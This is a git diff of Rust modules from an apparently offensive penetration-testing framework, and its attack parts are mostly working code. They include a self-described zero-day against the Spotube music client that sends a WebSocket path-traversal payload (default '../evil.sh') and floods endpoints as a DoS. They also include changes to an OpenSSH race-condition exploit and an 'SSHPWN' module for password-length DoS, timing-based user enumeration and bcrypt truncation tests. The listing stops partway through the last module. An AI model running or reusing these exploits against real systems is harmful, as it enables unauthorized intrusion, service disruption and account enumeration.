println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ Sample Exploit Module - Demonstration ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!("{}", format!("[*] Target: {}", target).yellow());
|
||||
|
||||
let client = Client::builder()
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.danger_accept_invalid_certs(true)
|
||||
.build()
|
||||
.context("Failed to build HTTP client")?;
|
||||
|
||||
let url = format!("http://{}/vulnerable_endpoint", target);
|
||||
let resp = reqwest::get(&url)
|
||||
println!("{}", format!("[*] Checking: {}", url).cyan());
|
||||
|
||||
let resp = client
|
||||
.get(&url)
|
||||
.send()
|
||||
.await
|
||||
.context("Failed to send request")?
|
||||
.text()
|
||||
@@ -14,9 +37,9 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
.context("Failed to read response")?;
|
||||
|
||||
if resp.contains("Vulnerable!") {
|
||||
println!("[+] Target is vulnerable!");
|
||||
println!("{}", "[+] Target is vulnerable!".green().bold());
|
||||
} else {
|
||||
println!("[-] Target does not appear to be vulnerable.");
|
||||
println!("{}", "[-] Target does not appear to be vulnerable.".red());
|
||||
}
|
||||
|
||||
Ok(())
|
||||
|
||||
@@ -1,21 +1,50 @@
|
||||
//// src/modules/exploits/spotube/spotube_remote.rs
|
||||
//// src/modules/exploits/spotube/spotube.rs
|
||||
//// made by me suicidal teddy my first ever zero day exploit
|
||||
//// no auth when you use api and can be excuted locally
|
||||
//// src/modules/exploits/spotube/spotube.rs
|
||||
//! Spotube Remote API Exploit
|
||||
//!
|
||||
//! This module exploits unauthenticated access to the Spotube API, enabling
|
||||
//! path traversal via WebSocket and denial of service attacks.
|
||||
//!
|
||||
//! ## Vulnerability Details
|
||||
//! - **Affected**: Spotube (desktop music client)
|
||||
//! - **Attack Vector**: Network (HTTP/WebSocket)
|
||||
//! - **Impact**: Path traversal, DoS, unauthorized playback control
|
||||
//!
|
||||
//! ## Features
|
||||
//! - Ping server connectivity test
|
||||
//! - Playback control (next, previous, toggle)
|
||||
//! - Path traversal injection via WebSocket
|
||||
//! - HTTP endpoint flooding (DoS)
|
||||
//!
|
||||
//! ## Security Notes
|
||||
//! - Uses utils.rs for target validation
|
||||
//! - Proper error handling and timeouts
|
||||
//!
|
||||
//! Made by Suicidal Teddy - first ever zero day exploit
|
||||
//! For authorized penetration testing only.
|
||||
|
||||
use anyhow::{Context, Result};
|
||||
use colored::*;
|
||||
use futures_util::{SinkExt, StreamExt};
|
||||
use reqwest::Client;
|
||||
use serde_json::json;
|
||||
use std::collections::HashMap;
|
||||
use std::io::{self, Write};
|
||||
use tokio::time::{sleep, Duration};
|
||||
use tokio_tungstenite::connect_async;
|
||||
use tokio_tungstenite::tungstenite::Message;
|
||||
|
||||
// //// // Custom headers to emulate BurpSuite-style browser requests
|
||||
fn browser_headers(host: &str, port: &str) -> HashMap<String, String> {
|
||||
use crate::utils::{
|
||||
normalize_target, prompt_default, prompt_int_range,
|
||||
};
|
||||
|
||||
/// Display module banner
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ Spotube Remote API Exploit ║".cyan());
|
||||
println!("{}", "║ Path Traversal + DoS + Playback Control ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
|
||||
/// Custom headers to emulate browser requests
|
||||
fn browser_headers(host: &str, port: u16) -> HashMap<String, String> {
|
||||
let mut headers = HashMap::new();
|
||||
headers.insert("Accept-Language".into(), "en-US,en;q=0.9".into());
|
||||
headers.insert("Upgrade-Insecure-Requests".into(), "1".into());
|
||||
@@ -38,8 +67,8 @@ fn browser_headers(host: &str, port: &str) -> HashMap<String, String> {
|
||||
headers
|
||||
}
|
||||
|
||||
// //// // Sends the GET request to the Spotube endpoint with custom headers
|
||||
async fn execute(host: &str, port: &str, path: &str) -> Result<()> {
|
||||
/// Sends the GET request to the Spotube endpoint with custom headers
|
||||
async fn execute(host: &str, port: u16, path: &str) -> Result<()> {
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(std::time::Duration::from_secs(5))
|
||||
@@ -69,37 +98,12 @@ async fn execute(host: &str, port: &str, path: &str) -> Result<()> {
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// //// // Sends a malicious 'load' event over WS with a track name containing ../
|
||||
async fn ws_inject_path_traversal(host: &str, port: &str) -> Result<()> {
|
||||
// prompt for malicious filename
|
||||
print!("{}", "Enter malicious filename (e.g. ../evil.sh): ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
let mut name = String::new();
|
||||
io::stdin().read_line(&mut name)?;
|
||||
let malicious_name = {
|
||||
let t = name.trim();
|
||||
if t.is_empty() { "../evil.sh" } else { t }
|
||||
};
|
||||
|
||||
// prompt for fake track ID
|
||||
print!("{}", "Enter fake track ID (e.g. INJECT1): ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
let mut tid = String::new();
|
||||
io::stdin().read_line(&mut tid)?;
|
||||
let track_id = {
|
||||
let t = tid.trim();
|
||||
if t.is_empty() { "INJECT1" } else { t }
|
||||
};
|
||||
|
||||
// prompt for codec extension
|
||||
print!("{}", "Enter codec extension (e.g. mp3): ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
let mut cd = String::new();
|
||||
io::stdin().read_line(&mut cd)?;
|
||||
let codec = {
|
||||
let t = cd.trim();
|
||||
if t.is_empty() { "mp3" } else { t }
|
||||
};
|
||||
/// Sends a malicious 'load' event over WS with a track name containing ../
|
||||
async fn ws_inject_path_traversal(host: &str, port: u16) -> Result<()> {
|
||||
// Prompt for malicious filename using shared utilities
|
||||
let malicious_name = prompt_default("Malicious filename", "../evil.sh").await?;
|
||||
let track_id = prompt_default("Fake track ID", "INJECT1").await?;
|
||||
let codec = prompt_default("Codec extension", "mp3").await?;
|
||||
|
||||
let payload = json!({
|
||||
"type": "load",
|
||||
@@ -135,8 +139,8 @@ async fn ws_inject_path_traversal(host: &str, port: &str) -> Result<()> {
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// //// // Floods the given endpoint with `count` rapid requests (with optional delay).
|
||||
async fn dos_flood(host: &str, port: &str, path: &str, count: usize, delay: f64) -> Result<()> {
|
||||
/// Floods the given endpoint with `count` rapid requests (with optional delay)
|
||||
async fn dos_flood(host: &str, port: u16, path: &str, count: usize, delay: f64) -> Result<()> {
|
||||
println!("⚠️ Flooding {} {} times (delay {}s)…", path, count, delay);
|
||||
for _ in 0..count {
|
||||
let _ = execute(host, port, path).await;
|
||||
@@ -148,21 +152,53 @@ async fn dos_flood(host: &str, port: &str, path: &str, count: usize, delay: f64)
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// //// // CLI menu that mimics the original Python script, now with WS and DoS
|
||||
/// Parse and validate target using utils.rs normalize_target
|
||||
async fn parse_target(target: &str) -> Result<(String, u16)> {
|
||||
// Use utils.rs normalize_target for comprehensive validation
|
||||
let normalized = normalize_target(target)?;
|
||||
|
||||
// Check if normalized result contains a port
|
||||
if normalized.starts_with('[') {
|
||||
// IPv6 format: [::1]:port or [::1]
|
||||
if let Some(bracket_end) = normalized.find(']') {
|
||||
let host = normalized[1..bracket_end].to_string();
|
||||
let rest = &normalized[bracket_end + 1..];
|
||||
if rest.starts_with(':') {
|
||||
let port = rest[1..].parse::<u16>()
|
||||
.context("Invalid port number")?;
|
||||
return Ok((host, port));
|
||||
} else {
|
||||
// No port provided, prompt for it
|
||||
let port = prompt_int_range("Target port", 17086, 1, 65535).await? as u16;
|
||||
return Ok((host, port));
|
||||
}
|
||||
}
|
||||
anyhow::bail!("Invalid IPv6 format");
|
||||
}
|
||||
|
||||
// IPv4 or hostname format: host:port or host
|
||||
if let Some(colon_pos) = normalized.rfind(':') {
|
||||
let host = normalized[..colon_pos].to_string();
|
||||
let port = normalized[colon_pos + 1..].parse::<u16>()
|
||||
.context("Invalid port number")?;
|
||||
Ok((host, port))
|
||||
} else {
|
||||
// No port provided, prompt for it
|
||||
let port = prompt_int_range("Target port", 17086, 1, 65535).await? as u16;
|
||||
Ok((normalized, port))
|
||||
}
|
||||
}
|
||||
|
||||
/// CLI menu for Spotube exploitation
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("⚙️ Spotube Advanced Exploit CLI\n");
|
||||
|
||||
let host = target.to_string(); // use target passed from set command
|
||||
|
||||
// //// // port prompt (optional override)
|
||||
print!("{}", "Enter port [17086]: ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
let mut p = String::new();
|
||||
io::stdin().read_line(&mut p)?;
|
||||
let port = {
|
||||
let t = p.trim();
|
||||
if t.is_empty() { "17086".to_string() } else { t.to_string() }
|
||||
};
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).yellow());
|
||||
println!();
|
||||
|
||||
// Parse and validate target
|
||||
let (host, port) = parse_target(target).await?;
|
||||
println!("{}", format!("[*] Attacking {}:{}", host, port).cyan());
|
||||
println!();
|
||||
|
||||
loop {
|
||||
println!("\n=== Menu ===");
|
||||
@@ -174,53 +210,37 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
println!("6. Flood HTTP endpoint (DoS)");
|
||||
println!("7. Exit");
|
||||
|
||||
print!("Choose an option: ");
|
||||
io::stdout().flush()?;
|
||||
let mut choice = String::new();
|
||||
io::stdin().read_line(&mut choice)?;
|
||||
match choice.trim() {
|
||||
"1" => {
|
||||
let choice = prompt_int_range("Choose an option", 1, 1, 7).await? as u8;
|
||||
|
||||
match choice {
|
||||
1 => {
|
||||
println!("\n▶️ Ping server …");
|
||||
let _ = execute(&host, &port, "/ping").await;
|
||||
let _ = execute(&host, port, "/ping").await;
|
||||
}
|
||||
"2" => {
|
||||
2 => {
|
||||
println!("\n▶️ Next track …");
|
||||
let _ = execute(&host, &port, "/playback/next").await;
|
||||
let _ = execute(&host, port, "/playback/next").await;
|
||||
}
|
||||
"3" => {
|
||||
3 => {
|
||||
println!("\n▶️ Previous track …");
|
||||
let _ = execute(&host, &port, "/playback/previous").await;
|
||||
let _ = execute(&host, port, "/playback/previous").await;
|
||||
}
|
||||
"4" => {
|
||||
4 => {
|
||||
println!("\n▶️ Toggle play/pause …");
|
||||
let _ = execute(&host, &port, "/playback/toggle-playback").await;
|
||||
let _ = execute(&host, port, "/playback/toggle-playback").await;
|
||||
}
|
||||
"5" => {
|
||||
ws_inject_path_traversal(&host, &port).await?;
|
||||
5 => {
|
||||
ws_inject_path_traversal(&host, port).await?;
|
||||
}
|
||||
"6" => {
|
||||
// //// // flood prompts
|
||||
print!("Endpoint to flood (e.g. /playback/next): ");
|
||||
io::stdout().flush()?;
|
||||
let mut path = String::new();
|
||||
io::stdin().read_line(&mut path)?;
|
||||
let path = path.trim();
|
||||
6 => {
|
||||
// Flood prompts using shared utilities
|
||||
let path = prompt_default("Endpoint to flood", "/playback/next").await?;
|
||||
let count = prompt_int_range("Number of requests", 100, 1, 10000).await? as usize;
|
||||
let delay = prompt_int_range("Delay between requests (ms)", 0, 0, 10000).await? as f64 / 1000.0;
|
||||
|
||||
print!("Number of requests [100]: ");
|
||||
io::stdout().flush()?;
|
||||
let mut cnt = String::new();
|
||||
io::stdin().read_line(&mut cnt)?;
|
||||
let count = cnt.trim().parse().unwrap_or(100);
|
||||
|
||||
print!("Delay between requests (s) [0]: ");
|
||||
io::stdout().flush()?;
|
||||
let mut dly = String::new();
|
||||
io::stdin().read_line(&mut dly)?;
|
||||
let delay = dly.trim().parse().unwrap_or(0.0);
|
||||
|
||||
dos_flood(&host, &port, path, count, delay).await?;
|
||||
dos_flood(&host, port, &path, count, delay).await?;
|
||||
}
|
||||
"7" => {
|
||||
7 => {
|
||||
println!("👋 Goodbye!");
|
||||
break;
|
||||
}
|
||||
@@ -230,3 +250,4 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
|
||||
@@ -1 +1,6 @@
|
||||
pub mod opensshserver_9_8p1race_condition;
|
||||
pub mod sshpwn_sftp_attacks;
|
||||
pub mod sshpwn_scp_attacks;
|
||||
pub mod sshpwn_session;
|
||||
pub mod sshpwn_auth_passwd;
|
||||
pub mod sshpwn_pam;
|
||||
|
||||
@@ -1,8 +1,8 @@
|
||||
use std::io::{self, ErrorKind, Write};
|
||||
use std::io::{ErrorKind};
|
||||
use std::sync::Arc;
|
||||
use anyhow::{Result, bail, Context};
|
||||
use colored::*;
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt, AsyncBufReadExt};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::time::{sleep, Duration, Instant};
|
||||
use tokio::sync::Semaphore;
|
||||
@@ -413,10 +413,16 @@ pub async fn run(target_info: &str) -> anyhow::Result<()> {
|
||||
|
||||
loop {
|
||||
print!("{}", "Enter the target port number (e.g., 22): ".cyan().bold());
|
||||
io::stdout().flush().context("Failed to flush stdout")?;
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
|
||||
let mut port_input = String::new();
|
||||
io::stdin().read_line(&mut port_input).context("Failed to read port from stdin")?;
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut port_input)
|
||||
.await
|
||||
.context("Failed to read port from stdin")?;
|
||||
|
||||
match port_input.trim().parse::<u16>() {
|
||||
Ok(port) if port > 0 => {
|
||||
@@ -434,17 +440,29 @@ pub async fn run(target_info: &str) -> anyhow::Result<()> {
|
||||
|
||||
print_post_actions();
|
||||
print!("{}", "Select post-ex action [1-4, default 4]: ".cyan().bold());
|
||||
io::stdout().flush().ok();
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.ok();
|
||||
let mut choice_str = String::new();
|
||||
io::stdin().read_line(&mut choice_str).ok();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut choice_str)
|
||||
.await
|
||||
.ok();
|
||||
let mode_choice: u8 = choice_str.trim().parse().unwrap_or(4);
|
||||
|
||||
let num_attempts_per_base: usize;
|
||||
loop {
|
||||
print!("{}", "Enter the number of attempts per GLIBC base: ".cyan().bold());
|
||||
io::stdout().flush().context("Failed to flush stdout for attempts input")?;
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout for attempts input")?;
|
||||
let mut attempts_str = String::new();
|
||||
io::stdin().read_line(&mut attempts_str).context("Failed to read number of attempts")?;
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut attempts_str)
|
||||
.await
|
||||
.context("Failed to read number of attempts")?;
|
||||
match attempts_str.trim().parse::<usize>() {
|
||||
Ok(num) if num > 0 => {
|
||||
num_attempts_per_base = num;
|
||||
|
||||
@@ -0,0 +1,575 @@
|
||||
//! SSHPWN Auth Password Attack Module
|
||||
//!
|
||||
//! Based on OpenSSH 10.0p1 auth2-passwd.c vulnerability analysis
|
||||
//!
|
||||
//! AUTH2-PASSWD VULNERABILITIES (auth2-passwd.c):
|
||||
//! - Password length not explicitly limited - potential DoS via long passwords (LOW)
|
||||
//! - Password change information disclosure - server fingerprinting (INFO)
|
||||
//! - Timing attack via mm_auth_password - user enumeration (MEDIUM)
|
||||
//!
|
||||
//! For authorized penetration testing only.
|
||||
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use crate::utils::normalize_target;
|
||||
use ssh2::Session;
|
||||
use std::{
|
||||
io::Write,
|
||||
net::TcpStream,
|
||||
time::{Duration, Instant},
|
||||
};
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ SSHPWN - Auth Password Attack Module ║".cyan());
|
||||
println!("{}", "║ Based on OpenSSH auth2-passwd.c vulnerability analysis ║".cyan());
|
||||
println!("{}", "║ ║".cyan());
|
||||
println!("{}", "║ Attack Modes: ║".cyan());
|
||||
println!("{}", "║ 1. Password Length DoS Test (sshpkt_get_cstring limit) ║".cyan());
|
||||
println!("{}", "║ 2. Password Change Information Leak ║".cyan());
|
||||
println!("{}", "║ 3. Auth Timing Attack (mm_auth_password) ║".cyan());
|
||||
println!("{}", "║ 4. Bcrypt Length Bypass Test (72-byte limit) ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
// Use framework's normalize_target utility - removed custom implementation
|
||||
|
||||
/// Time a single authentication attempt
|
||||
fn time_auth_attempt(host: &str, port: u16, username: &str, password: &str, timeout_secs: u64) -> Option<(f64, bool, String)> {
|
||||
let addr = format!("{}:{}", host, port);
|
||||
|
||||
let start = Instant::now();
|
||||
|
||||
let tcp = match TcpStream::connect_timeout(
|
||||
&addr.parse().ok()?,
|
||||
Duration::from_secs(timeout_secs),
|
||||
) {
|
||||
Ok(s) => s,
|
||||
Err(e) => return Some((0.0, false, format!("Connect failed: {}", e))),
|
||||
};
|
||||
|
||||
let _ = tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)));
|
||||
let _ = tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs)));
|
||||
|
||||
let mut sess = match Session::new() {
|
||||
Ok(s) => s,
|
||||
Err(e) => return Some((0.0, false, format!("Session failed: {}", e))),
|
||||
};
|
||||
|
||||
sess.set_tcp_stream(tcp);
|
||||
if let Err(e) = sess.handshake() {
|
||||
return Some((start.elapsed().as_secs_f64(), false, format!("Handshake failed: {}", e)));
|
||||
}
|
||||
|
||||
// Try authentication
|
||||
let auth_result = sess.userauth_password(username, password);
|
||||
let elapsed = start.elapsed().as_secs_f64();
|
||||
|
||||
match auth_result {
|
||||
Ok(_) => Some((elapsed, sess.authenticated(), "OK".to_string())),
|
||||
Err(e) => Some((elapsed, false, format!("{}", e))),
|
||||
}
|
||||
}
|
||||
|
||||
/// Password Length DoS Test
|
||||
///
|
||||
/// Vulnerability: auth2-passwd.c lines 60-66 - sshpkt_get_cstring() has no explicit limit
|
||||
/// Very long passwords could cause DoS in downstream bcrypt (72-byte) or PAM modules
|
||||
pub async fn attack_password_length_dos(
|
||||
host: &str,
|
||||
port: u16,
|
||||
username: &str,
|
||||
max_length: usize,
|
||||
) -> Result<bool> {
|
||||
println!("{}", format!("[*] Password Length DoS Test on {}", host).cyan());
|
||||
println!("{}", "[*] Vulnerability: auth2-passwd.c sshpkt_get_cstring() no explicit limit".cyan());
|
||||
println!("{}", "[*] Testing password lengths that may cause downstream issues".cyan());
|
||||
println!();
|
||||
|
||||
// Test progressively longer passwords
|
||||
let test_lengths = vec![
|
||||
64, // Normal
|
||||
72, // bcrypt limit
|
||||
128, // Double bcrypt
|
||||
256, // Moderate
|
||||
512, // Large
|
||||
1024, // Very large
|
||||
2048, // Huge
|
||||
4096, // Extreme
|
||||
8192, // Maximum test
|
||||
max_length.min(16384),
|
||||
];
|
||||
|
||||
println!("{}", "[*] Testing password lengths:".cyan());
|
||||
println!("{}", "[*] Note: bcrypt has 72-byte limit, longer passwords are truncated".dimmed());
|
||||
println!();
|
||||
|
||||
let mut abnormal_behavior = Vec::new();
|
||||
let mut baseline_time: Option<f64> = None;
|
||||
|
||||
for &len in &test_lengths {
|
||||
if len > max_length {
|
||||
break;
|
||||
}
|
||||
|
||||
// Generate password of specified length
|
||||
let password: String = std::iter::repeat('A').take(len).collect();
|
||||
|
||||
print!(" Testing {} bytes... ", len);
|
||||
let _ = std::io::stdout().flush();
|
||||
|
||||
match time_auth_attempt(host, port, username, &password, 30) {
|
||||
Some((time, _success, msg)) => {
|
||||
// Set baseline from first test
|
||||
if baseline_time.is_none() {
|
||||
baseline_time = Some(time);
|
||||
}
|
||||
|
||||
let base = baseline_time.unwrap_or(time);
|
||||
let ratio = if base > 0.0 { time / base } else { 1.0 };
|
||||
|
||||
if time > 10.0 {
|
||||
println!("{}", format!("SLOW ({:.2}s) - {}", time, msg).yellow());
|
||||
abnormal_behavior.push((len, time, msg));
|
||||
} else if ratio > 2.0 {
|
||||
println!("{}", format!("SLOW ({:.2}s, {:.1}x baseline) - {}", time, ratio, msg).yellow());
|
||||
abnormal_behavior.push((len, time, msg));
|
||||
} else {
|
||||
println!("{}", format!("OK ({:.2}s) - {}", time, msg).green());
|
||||
}
|
||||
}
|
||||
None => {
|
||||
println!("{}", "Connection failed".red());
|
||||
}
|
||||
}
|
||||
|
||||
// Small delay between tests
|
||||
std::thread::sleep(Duration::from_millis(500));
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "=== Password Length DoS Results ===".cyan().bold());
|
||||
|
||||
if !abnormal_behavior.is_empty() {
|
||||
println!("{}", "[VULN] Abnormal behavior detected with long passwords:".red().bold());
|
||||
for (len, time, msg) in &abnormal_behavior {
|
||||
println!(" {} bytes: {:.2}s - {}", len, time, msg);
|
||||
}
|
||||
println!();
|
||||
println!("{}", "[*] Server may be vulnerable to password length DoS".yellow());
|
||||
println!("{}", "[*] Downstream PAM modules or bcrypt may have issues".cyan());
|
||||
Ok(true)
|
||||
} else {
|
||||
println!("{}", "[*] No significant timing variations detected".green());
|
||||
println!("{}", "[*] Server handles long passwords gracefully".cyan());
|
||||
Ok(false)
|
||||
}
|
||||
}
|
||||
|
||||
/// Password Change Information Leak Test
|
||||
///
|
||||
/// Vulnerability: auth2-passwd.c line 69 - "password change not supported" logged
|
||||
/// This reveals server configuration and confirms authentication reached password handler
|
||||
pub async fn attack_password_change_leak(
|
||||
host: &str,
|
||||
port: u16,
|
||||
) -> Result<bool> {
|
||||
println!("{}", format!("[*] Password Change Information Leak Test on {}:{}", host, port).cyan());
|
||||
println!("{}", "[*] Vulnerability: auth2-passwd.c logs 'password change not supported'".cyan());
|
||||
println!();
|
||||
|
||||
println!("{}", "[*] Testing SSH password change behavior...".cyan());
|
||||
|
||||
// Note: SSH2 password change is signaled by a flag in the packet
|
||||
// We can't easily test this with libssh2, but we can document the vulnerability
|
||||
|
||||
println!();
|
||||
println!("{}", "=== Password Change Information Leak Analysis ===".cyan().bold());
|
||||
println!();
|
||||
println!("{}", "[*] Vulnerability Details:".yellow());
|
||||
println!("{}", " When SSH2_MSG_USERAUTH_REQUEST contains password change flag:".dimmed());
|
||||
println!("{}", " 1. Server logs 'password change not supported' if unsupported".dimmed());
|
||||
println!("{}", " 2. This confirms authentication reached password handler".dimmed());
|
||||
println!("{}", " 3. Reveals server's password change configuration".dimmed());
|
||||
println!();
|
||||
println!("{}", "[*] Attack Vectors:".cyan());
|
||||
println!("{}", " - Server fingerprinting via response timing".dimmed());
|
||||
println!("{}", " - Configuration enumeration".dimmed());
|
||||
println!("{}", " - Confirm valid authentication path reached".dimmed());
|
||||
println!();
|
||||
println!("{}", "[*] To test manually:".yellow());
|
||||
println!("{}", " Use SSH client with password change support".dimmed());
|
||||
println!("{}", " ssh -o KbdInteractiveAuthentication=yes target".dimmed());
|
||||
println!();
|
||||
println!("{}", "[INFO] This is an informational vulnerability".yellow());
|
||||
println!("{}", "[*] Direct exploitation requires custom SSH client".cyan());
|
||||
|
||||
Ok(true)
|
||||
}
|
||||
|
||||
/// Auth Timing Attack - User Enumeration via mm_auth_password timing
|
||||
///
|
||||
/// Vulnerability: auth2-passwd.c line 70 - Timing depends on downstream implementation
|
||||
/// Different timing for valid vs invalid users enables enumeration
|
||||
pub async fn attack_auth_timing(
|
||||
host: &str,
|
||||
port: u16,
|
||||
usernames: &[String],
|
||||
samples: usize,
|
||||
) -> Result<Vec<String>> {
|
||||
println!("{}", format!("[*] Auth Timing Attack on {}", host).cyan());
|
||||
println!("{}", "[*] Vulnerability: auth2-passwd.c mm_auth_password timing".cyan());
|
||||
println!("{}", "[*] Testing timing differences between valid/invalid users".cyan());
|
||||
println!();
|
||||
|
||||
// Get baseline timing with definitely invalid user
|
||||
let baseline_user = format!("nonexistent_{}_{}", std::process::id(), Instant::now().elapsed().as_nanos());
|
||||
|
||||
println!("{}", "[*] Establishing baseline with invalid user...".cyan());
|
||||
|
||||
let mut baseline_times = Vec::new();
|
||||
for i in 0..samples {
|
||||
let password = format!("invalid_{}_{}", std::process::id(), i);
|
||||
if let Some((time, _, _)) = time_auth_attempt(host, port, &baseline_user, &password, 15) {
|
||||
baseline_times.push(time);
|
||||
}
|
||||
std::thread::sleep(Duration::from_millis(200));
|
||||
}
|
||||
|
||||
if baseline_times.is_empty() {
|
||||
println!("{}", "[-] Could not establish baseline".red());
|
||||
return Ok(Vec::new());
|
||||
}
|
||||
|
||||
let baseline = baseline_times.iter().sum::<f64>() / baseline_times.len() as f64;
|
||||
let baseline_stddev = (baseline_times.iter()
|
||||
.map(|t| (t - baseline).powi(2))
|
||||
.sum::<f64>() / baseline_times.len() as f64).sqrt();
|
||||
|
||||
println!("{}", format!("[*] Baseline: {:.3}s ± {:.3}s", baseline, baseline_stddev).cyan());
|
||||
println!();
|
||||
|
||||
// Test empty password timing (potential gap per vulnerability #3)
|
||||
println!("{}", "[*] Testing empty password timing (potential mitigation gap)...".cyan());
|
||||
|
||||
let mut empty_times = Vec::new();
|
||||
for _ in 0..samples {
|
||||
if let Some((time, _, _)) = time_auth_attempt(host, port, &baseline_user, "", 15) {
|
||||
empty_times.push(time);
|
||||
}
|
||||
std::thread::sleep(Duration::from_millis(200));
|
||||
}
|
||||
|
||||
if !empty_times.is_empty() {
|
||||
let empty_avg = empty_times.iter().sum::<f64>() / empty_times.len() as f64;
|
||||
let diff = empty_avg - baseline;
|
||||
|
||||
if diff.abs() > baseline_stddev * 2.0 {
|
||||
println!("{}", format!("[VULN] Empty password timing differs: {:+.3}s", diff).red().bold());
|
||||
println!("{}", "[*] Possible timing attack via empty password".yellow());
|
||||
} else {
|
||||
println!("{}", format!("[*] Empty password: {:.3}s (diff: {:+.3}s)", empty_avg, diff).dimmed());
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] Testing usernames...".cyan());
|
||||
|
||||
let mut valid_users = Vec::new();
|
||||
let threshold = baseline_stddev * 3.0 + 0.1; // 3 sigma + 100ms
|
||||
|
||||
for user in usernames {
|
||||
print!("\r[*] Testing: {} ", user);
|
||||
let _ = std::io::stdout().flush();
|
||||
|
||||
let mut times = Vec::new();
|
||||
for i in 0..samples {
|
||||
let password = format!("invalid_test_{}_{}", std::process::id(), i);
|
||||
if let Some((time, _, _)) = time_auth_attempt(host, port, user, &password, 15) {
|
||||
times.push(time);
|
||||
}
|
||||
std::thread::sleep(Duration::from_millis(200));
|
||||
}
|
||||
|
||||
if !times.is_empty() {
|
||||
let avg = times.iter().sum::<f64>() / times.len() as f64;
|
||||
let diff = avg - baseline;
|
||||
|
||||
if diff.abs() > threshold {
|
||||
println!("\r{}", format!("[+] Potential valid user: {} (timing diff: {:+.3}s)", user, diff).green());
|
||||
valid_users.push(user.clone());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!("\r ");
|
||||
println!();
|
||||
println!("{}", "=== Auth Timing Results ===".cyan().bold());
|
||||
|
||||
if valid_users.is_empty() {
|
||||
println!("{}", "[-] No valid users detected via timing".yellow());
|
||||
println!("{}", "[*] Server may have proper timing mitigation (fakepw/fake_password)".cyan());
|
||||
} else {
|
||||
println!("{}", format!("[+] Potentially valid users ({}):", valid_users.len()).green());
|
||||
for user in &valid_users {
|
||||
println!(" - {}", user.green());
|
||||
}
|
||||
}
|
||||
|
||||
Ok(valid_users)
|
||||
}
|
||||
|
||||
/// Bcrypt 72-byte Limit Bypass Test
|
||||
///
|
||||
/// Vulnerability: bcrypt only uses first 72 bytes of password
|
||||
/// Passwords longer than 72 bytes are effectively truncated
|
||||
pub async fn attack_bcrypt_truncation(
|
||||
host: &str,
|
||||
port: u16,
|
||||
username: &str,
|
||||
base_password: &str,
|
||||
) -> Result<bool> {
|
||||
println!("{}", format!("[*] Bcrypt 72-byte Truncation Test on {}", host).cyan());
|
||||
println!("{}", "[*] Testing if server uses bcrypt with 72-byte password limit".cyan());
|
||||
println!();
|
||||
|
||||
// bcrypt only uses first 72 bytes
|
||||
let truncation_point = 72;
|
||||
|
||||
// If base password is shorter than 72, pad it
|
||||
let test_base: String = if base_password.len() < truncation_point {
|
||||
format!("{}{}", base_password, "A".repeat(truncation_point - base_password.len()))
|
||||
} else {
|
||||
base_password.chars().take(truncation_point).collect()
|
||||
};
|
||||
|
||||
// Create variants that differ only after 72 bytes
|
||||
let password_72 = test_base.clone();
|
||||
let password_73 = format!("{}X", test_base);
|
||||
let password_100 = format!("{}{}", test_base, "X".repeat(28));
|
||||
|
||||
println!("{}", format!("[*] Testing password variants (first 72 chars: '{}'...)", &test_base[..20.min(test_base.len())]).cyan());
|
||||
println!("{}", format!(" Password A: {} bytes (baseline)", password_72.len()).dimmed());
|
||||
println!("{}", format!(" Password B: {} bytes (differs at byte 73)", password_73.len()).dimmed());
|
||||
println!("{}", format!(" Password C: {} bytes (differs at bytes 73-100)", password_100.len()).dimmed());
|
||||
println!();
|
||||
|
||||
// Test each password
|
||||
let passwords = vec![
|
||||
("72-byte", &password_72),
|
||||
("73-byte", &password_73),
|
||||
("100-byte", &password_100),
|
||||
];
|
||||
|
||||
let mut results = Vec::new();
|
||||
|
||||
for (name, password) in &passwords {
|
||||
print!("[*] Testing {} password... ", name);
|
||||
let _ = std::io::stdout().flush();
|
||||
|
||||
match time_auth_attempt(host, port, username, password, 15) {
|
||||
Some((time, success, msg)) => {
|
||||
results.push((name.to_string(), time, success, msg.clone()));
|
